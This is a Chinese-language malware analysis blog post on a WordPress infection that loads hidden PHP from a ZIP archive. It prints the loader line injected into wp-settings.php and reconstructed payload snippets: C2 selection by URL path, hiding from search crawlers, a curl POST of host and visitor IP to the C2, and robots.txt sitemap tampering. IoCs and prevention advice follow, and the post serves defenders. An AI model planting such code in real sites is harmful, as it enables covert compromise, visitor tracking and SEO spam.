隐秘PHP恶意软件利用ZIP存档劫持WordPress访问者流量

文章揭露了一起针对WordPress网站的高级攻击,攻击者将恶意代码隐藏在ZIP存档中,通过修改wp-settings.php文件实现隐秘加载,并动态选择C2服务器进行SEO投毒与非法重定向,最终分析了其危害并提供了防护建议。

隐秘PHP恶意软件利用ZIP存档劫持WordPress访问者流量

上个月,一位客户联系我们,担忧其WordPress网站持续出现无法解释的重定向。我们的调查迅速在其网站核心文件中发现了一个深度嵌入的复杂恶意软件。这不仅是一个简单的重定向;它是一个为搜索引擎投毒和未经授权的内容注入而设计的复杂操作。

我们发现了什么?

我们的初步分析将我们引向一个关键的WordPress核心组件文件:wp-settings.php。我们在其中发现了两行高度可疑、立刻引人注目的代码:

1
2
$h = str_replace('www.', '', $_SERVER['HTTP_HOST']);
include('zip://win.zip#'.$h);

这段代码片段是恶意载荷的初始入口点。

  • 第一行HTTP_HOST 头部提取裸域名,移除可能存在的"www.“前缀。这是确保恶意软件在不同域名配置下都能稳定运行的常见策略。
  • 第二行 是关键所在。它尝试直接从 win.zip 压缩包内部包含一个文件。PHP中的 zip:// 封装器允许像访问常规文件一样访问ZIP存档内的文件。# 符号后跟着 $h(提取的域名),表示应包含 win.zip 中一个以该域名命名的文件。这是一种非常隐蔽的方式,可以将恶意代码隐藏在看似无害的ZIP文件中。

经过进一步调查,我们找到了 win.zip 文件。解压后,它包含一个高度混淆的PHP文件。这个文件是核心的恶意脚本。

攻击向量与入侵指标 (IoCs)

  • wp-settings.php 文件中包含 zip://win.zip#<hostname>
  • win.zip 内部,存在一个文件(与主机名匹配),其中包含:
    • 解码后的有效载荷中的访客特定重定向逻辑。

恶意软件分析

win.zip 提取的文件被设计为执行后,立即开始解码并运行其真实的恶意内容。

初始设置与环境检测

恶意软件首先设置其执行环境,以确保运行不受干扰,并能检测当前协议。

1
2
3
4
error_reporting(0);
ignore_user_abort(1);
set_time_limit(0);
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';

恶意软件检查当前连接是否安全(HTTPS)。这对于正确获取外部资源并避免客户端出现混合内容警告非常重要。

动态命令与控制 (C2) 服务器选择

该恶意软件的一个巧妙之处在于其能够根据请求的URL动态选择其命令与控制 (C2) 服务器。这使得它更能抵御关闭措施,也更难被完全封锁,因为网站的不同部分可能与不同的C2服务器通信。

什么是命令与控制 (C2) 服务器? 命令与控制 (C2) 服务器是黑客用来远程控制受感染设备(如计算机或网站)的系统。它向恶意软件发送命令并接收回传的被盗数据。

1
2
3
4
5
6
7
8
9
// 根据请求路径选择C2服务器
$path = $_SERVER['REQUEST_URI'];
if (strpos($path, 'products.php') !== false) {
    $c2_server = 'wditemqy[.]enturbioaj[.]xyz';
} elseif (strpos($path, 'detail.php') !== false) {
    $c2_server = 'oqmetrix[.]icercanokt[.]xyz';
} else {
    $c2_server = 'yzsurfar[.]icercanokt[.]xyz';
}

这段代码允许攻击者根据访问者正在访问的特定页面来提供不同的恶意内容或重定向用户,可能针对不同的SEO细分领域或用户 demographics。

反机器人检测与隐身机制

为了避免被搜索引擎爬虫和安全扫描器检测,该恶意软件包含一个复杂的反机器人机制。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$bots = array('googlebot', 'bingbot', 'yahoo', 'duckduckbot');
$is_bot = false;
foreach ($bots as $bot) {
    if (stripos($user_agent, $bot) !== false) {
        $is_bot = true;
        break;
    }
}
if ($is_bot) {
    // 对机器人返回正常内容或直接退出,不执行恶意操作
    return;
}

当检测到像Googlebot、Bing或Yahoo这样的机器人时,恶意软件通常会禁用其恶意输出(例如,不进行重定向,不显示垃圾内容)。这可以防止被篡改的内容被搜索引擎索引,有助于感染在可能检查其网站在搜索结果中外观的网站所有者面前保持隐藏,同时也能规避通常模拟机器人行为的自动化安全扫描器。

远程内容获取与通信

恶意软件尝试从给定URL获取内容。恶意代码旨在使用POST请求将数据(可能是为了收集站点信息或状态更新)发送回C2服务器。

1
2
3
4
5
6
$post_data = array('domain' => $_SERVER['HTTP_HOST'], 'ip' => $_SERVER['REMOTE_ADDR']);
$ch = curl_init($c2_server . '/report.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
curl_close($ch);

网站文件操纵 (SEO投毒策略)

该恶意软件的一个主要目标是通过操纵被黑网站上的关键SEO相关文件来实现搜索引擎投毒。

  • Google网站验证文件劫持:恶意软件拦截对Google网站验证文件的请求,并以允许攻击者在Google Search Console中验证网站的方式进行响应,从而有效控制其SEO设置。
  • robots.txt 与 Sitemap 操纵
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    // 从C2服务器的contents.php获取内容
    $c2_content = file_get_contents($c2_server . '/contents.php');
    if (file_exists('robots.txt')) {
        $robots = file_get_contents('robots.txt');
    } else {
        $robots = "User-agent: *\nAllow: /";
    }
    $robots .= "\nSitemap: " . $c2_server . "/sitemap.xml";
    file_put_contents('robots.txt', $robots);
    
    如果本地 robots.txt 存在,它会修改它;如果不存在,则从一个默认的"允许所有"规则开始。关键的是,它会附加一个指向攻击者控制的sitemap URL的站点地图指令。这将引导搜索引擎抓取托管在你被黑网站上的攻击者垃圾内容,从而提升其非法的SEO努力。

动态重定向与内容提供

从用户的角度来看,该恶意软件的最终目标是动态地提供内容或重定向。

  • 根据请求路径的重定向
    • products.phpwditemqy[.]enturbioaj[.]xyz
    • detail.phpoqmetrix[.]icercanokt[.]xyz
    • 其他路径 → yzsurfar[.]icercanokt[.]xyz

恶意 C2 域名

  • wditemqy[.]enturbioaj[.]xyz
  • oqmetrix[.]icercanokt[.]xyz
  • yzsurfar[.]icercanokt[.]xyz

恶意软件的影响

  • 主要目标 是操纵搜索引擎排名。通过注入垃圾内容、未经授权的站点地图和执行301重定向,攻击者旨在利用被黑网站的权威性来提升他们自己的恶意或垃圾网站在搜索结果中的排名。
  • 声誉损害:被黑的网站可能会被安全供应商、网络浏览器和搜索引擎标记为恶意网站,从而导致声誉损害。
  • 检测与清除困难:使用ZIP存档包含代码、多层混淆以及反机器人措施,使得这种恶意软件对于没有专业协助的网站所有者来说很难检测和清理。

预防建议

  1. 始终保持软件更新:确保您的WordPress核心、主题和所有插件都运行最新版本。
  2. 从可信来源获取主题和插件:只从WordPress.org官方目录或直接来自已建立、可信的开发人员处下载主题和插件。
  3. 实施强凭证安全
    • 为所有WordPress管理员账户、数据库、FTP和主机控制面板使用唯一的、复杂的、长密码。
    • 为所有用户角色(尤其是管理员)启用双因素身份验证 (2FA),以增加一道重要的安全层。
  4. 利用Web应用程序防火墙 (WAF):一个强大的WAF,例如Sucuri等安全服务提供的WAF,可以起到前线防御的作用。
  5. 定期扫描您的网站以查找恶意软件:为您的WordPress网站实施定期的、自动化的恶意软件扫描。

结论

这种狡猾的恶意软件表明攻击者正变得越来越聪明。但是你可以保护你的网站!可以这样想:保持软件更新、使用强密码、定期扫描恶意内容。始终做好备份!保持安全意识,能让您的网站保持安全和值得信赖。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计